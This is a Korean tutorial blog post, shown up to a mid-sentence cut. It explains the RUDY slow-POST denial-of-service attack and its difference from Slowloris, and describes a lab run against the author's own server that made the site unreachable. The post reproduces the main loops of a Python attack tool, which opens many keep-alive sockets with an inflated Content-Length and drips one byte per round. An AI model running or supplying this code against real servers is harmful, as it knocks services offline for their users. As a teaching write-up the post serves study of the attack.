🪦Rudy : R U Dead Yet?

DATE : 2024/2/5

What is Rudy?

RUDY는 Slowloris와 유사하게 HTTP packet을 주기적으로 보냄으로써

서버와의 연결이 끊기지 않도록 유지하는 방식으로 수행된다.

다만, Slowloris는 완성되지 않은 Header를 보냄으로써 연결을 유지했다면

Rudy는 Body에 전달되는 데이터를 조금씩, 조금씩 나눠서 보내는 형태이다.

Rudy 공격을 이해하기 위해 알아야 정보는, Content-Length Header & Connection Header이다.

Content-length : 64 

Content-length header는 body의 크기가 얼마인지 Byte 단위로 알려주는 헤더이고

Connection : close
Connection : keep-alive

Connection header는 서버와의 연결을 닫을 것인지, 유지할 것인지 나타내는 헤더이다.

Rudy 공격은 한 마디로 데이터를 조금씩 나눠서 보내는 공격이라 했는데,

이를 수행하기 위해서는 Content-length & Connection header가 필요하다!

서버에게 어떤 데이터를 보내기 위해서 Post method를 이용한다고 할 때,

Body에 담긴 데이터의 길이를 Content-length에 적어주는데 이때

"실제로 담은 데이터 길이보다 큰 사이즈를 적어 보내자!"가 Rudy 공격의 컨셉이다.

만약 Content-length에 사이즈가 64 byte야! 라고 적어뒀는데 딱 한 글자만 보낸다면 어떤 일이 일어날까??

서버는 client가 "나 64 byte 보낼 거야!" 해 놓고 딱 1 byte만 보내줬기 때문에

나머지 데이터를 보낼 때까지 잠시 기다리게 된다.

기다리다,, 기다리다,, 데이터를 안 보낼 거야?? 그럼 연결 끊는다? 할 때!

우리는 "여기 있어, 여기 있어! 다음 데이터야 ㅎㅎ" 하면서 또 1 byte를 보내는 것이다.

이 과정을 반복하게 되면 모든 데이터를 받을 때까지 서버는 사용자와 연결을 끊지 못하고 유지하게 되는데

이때 서버가 연결을 끊지 않고 데이터를 기다리게 만들기 위해서 사용하는 헤더가 바로,

Connection: keep-alive이다.

즉, 연결을 할 때 사용자가 "연결 끊지 마!" 라고 했기 때문에

턱 없이 부족한 데이터를 보내고 다음 데이터를 기다리게 해도 서버는 마음대로 연결을 끊지 못하는 것이다.

따라서 서버와 연결을 마구 마구 맺은 다음!

Content-length 보다 작은 데이터를 시간 차를 두고서 여러 번에 걸쳐 보냄으로써

그 시간 동안 다른 사용자에게 서비스를 제공하지 못하도록 만드는 공격이 바로, Rudy 이다.


Rudy 공격을 실습 해보기 위한 코드는 아래 링크를 참고!

모든 실습은 개인적으로 사용하는 서버를 활용했으며

교육적인 목적 외에 코드를 사용하는 건 절대, 절대! 안 된다. 불법적인 목적으로 사용하다 걸리면,, 이게 바로 자업자득!

100% 본인 책임임을 명심하자!

default_headers = [
    "Connection: keep-alive",
    "Cache-Control: max-age=0"
]

코드를 주르륵 주르륵 읽다 보면 default_headers라고

모든 Socket에 공통적으로 작성할 Header가 만들어져 있다.

 for i in range(socket_count):
         try:
            logger.log("Creating socket number " + str(i+1))
            s = init_socket(host, port, tls)
            list_of_headers = []
            list_of_headers.append(host_header)
            list_of_headers.append(random.choice(user_agents))
            list_of_headers.append(random.choice(accept_header_list))
            list_of_headers.append(random.choice(accept_enc_list))
            list_of_headers.append(random.choice(accept_lan_list))
            list_of_headers.extend(default_headers)
            list_of_headers.append(content_type_header)
            list_of_headers.append(content_length_header)
            http_request = generate_http_req("POST", file_path, list_of_headers)
            http_request += "\r\n"
            s.sendall(http_request.encode("utf-8"))
            if s:
               list_of_sockets.append(s)
         except socket.error:
            break

user_agents, accept_header_list 등등 socket_count 개수 만큼 서로 다른 모양새의 Header를 만드는데

랜덤하게 부여하는 값이 있는가 하면 default_headers에 작성된 내용은 위에서 설명한

Connection & Content-length Header이기 때문에 모든 Socket에 작성해주는 것!

while True:
         ...
         for s in list(list_of_sockets):
            try:
               msg = ""
               for i in range(bytes_per_round):
                  msg += random.choice(ascii_chars)
               s.send(msg.encode("utf-8"))
            except socket.error:
               list_of_sockets.remove(s)

         for i in range(socket_count - len(list_of_sockets)):
            try:
               logger.log("Recreating socket...")
               s = init_socket(host, port, tls)
               list_of_headers = []
               list_of_headers.append(host_header)
               list_of_headers.append(random.choice(user_agents))
               list_of_headers.append(random.choice(accept_header_list))
               list_of_headers.append(random.choice(accept_enc_list))
               list_of_headers.append(random.choice(accept_lan_list))
               list_of_headers.extend(default_headers)
               list_of_headers.append(content_type_header)
               list_of_headers.append(content_length_header)
               http_request = generate_http_req("POST", file_path, list_of_headers)
               http_request += "\r\n"
               s.sendall(http_request.encode("utf-8"))
               if s:
                  list_of_sockets.append(s)
            except socket.error:
               break

         time.sleep(round_time)
      
   except KeyboardInterrupt:
      print()

Socket을 주어진 개수 만큼 만든 후에는 하나씩 꺼내다가 msg를 보내는 데

이때 msg는 bytes_per_round 길이의 문자열이 될 것이다.

기본 값으로 bytes_per_round 에 지정된 값은 1이기 때문에

코드를 읽어 보면 알겠지만 Content-length가 64인 상황에서 의도적으로 1 Byte만 보내는 부분이

여기서 구현되었음을 알 수 있다.

msg를 보내는 과정에서 에러가 있다면 해당 Socket을 지우고 새로운 Socket을 만들어 추가하는데

http_request = generate_http_req("POST", file_path, list_of_headers)
http_request += "\r\n"

이때 주목할 부분은 Header가 끝났음을 나타내기 위해 Slowloris에서는 없었던 \r\n\r\n이 사용된다는 점!

(generate_http_req의 반환 값은 맨 뒤에 \r\n을 붙이고 있기 때문에 여기에 \r\n을 한 더 붙여

Header와 Body가 분리되는 \r\n\r\n이 만들어진다.)

모든 Socket으로 1 Byte 짜리 문자를 보낸 뒤에는

time.sleep(round_time)

바로 다음 데이터를 보내지 않고 일정 시간 동안 기다리는 과정을 수행한다.

이렇게 해서 64 byte 데이터를 1 byte씩 쪼개서 보내는 동시에 한 번 데이터를 보낼 때마다

n초 간의 딜레이가 발생하게 된다.

이제코드를 실행해 Rudy 공격이 이루어지는 과정을 눈으로 살펴보도록 하자!

하나의 Socket을 만들고 3 way handshake 과정을 마친 후에는 위와 같이

이런 저런 Header가 들어있는 Packet이 전달되는 데 자세히 보면

Connection & Content-Length header가 들어있는 걸 볼 수 있다.

Connection이 Keep-alive이고 Content-Length가 64라고 하는데

서버는 답답하겠지만 연결을 끊을 수 없기 때문에 다음 데이터가 오기를 기다렸다가

그 다음 1 Byte 데이터를 받게 된다. 이렇게 100개의 Socket이 동시에 서버와 연결을 맺고

한 글자씩 데이터를 던져주면 서버는 다른 사용자 99명과 연결을 하지 못하고 붙잡혀 있게 되는 것이다.

이번엔 확실히 서버를 다운 시키기 위해 1000개의 Socket을 만들었다.

그런데 이상하다..? 만든 Socket은 1000개인데 보낸 개수는 662개에서 그친다.

이는 서버와 연결할 수 있는 연결은 다 해서 662개로 이미 연결이 꽉 차있는 걸 의미한다.

그렇다면 서버에게 아이디를 전달해도 응답이 없을까?? 확인해보면

역시! 링은 열심히 돌아가는데 페이지는 정신을 못 차린다!

이미 맺은 연결들이 끊이지 않고 유지되고 있기 때문에 서버가 대답할 상태가 아닌가 보다.

잠시 후 페이지에서는 "사이트에 연결할 수 없다"는 문구가 출력된다.

이렇게 해서 Rudy 공격이 성공했음을 알 수 있다!!

Slowloris와 잠깐 헷갈릴 수는 있지만 Rudy는 완성된 Header를 보내고

Last updated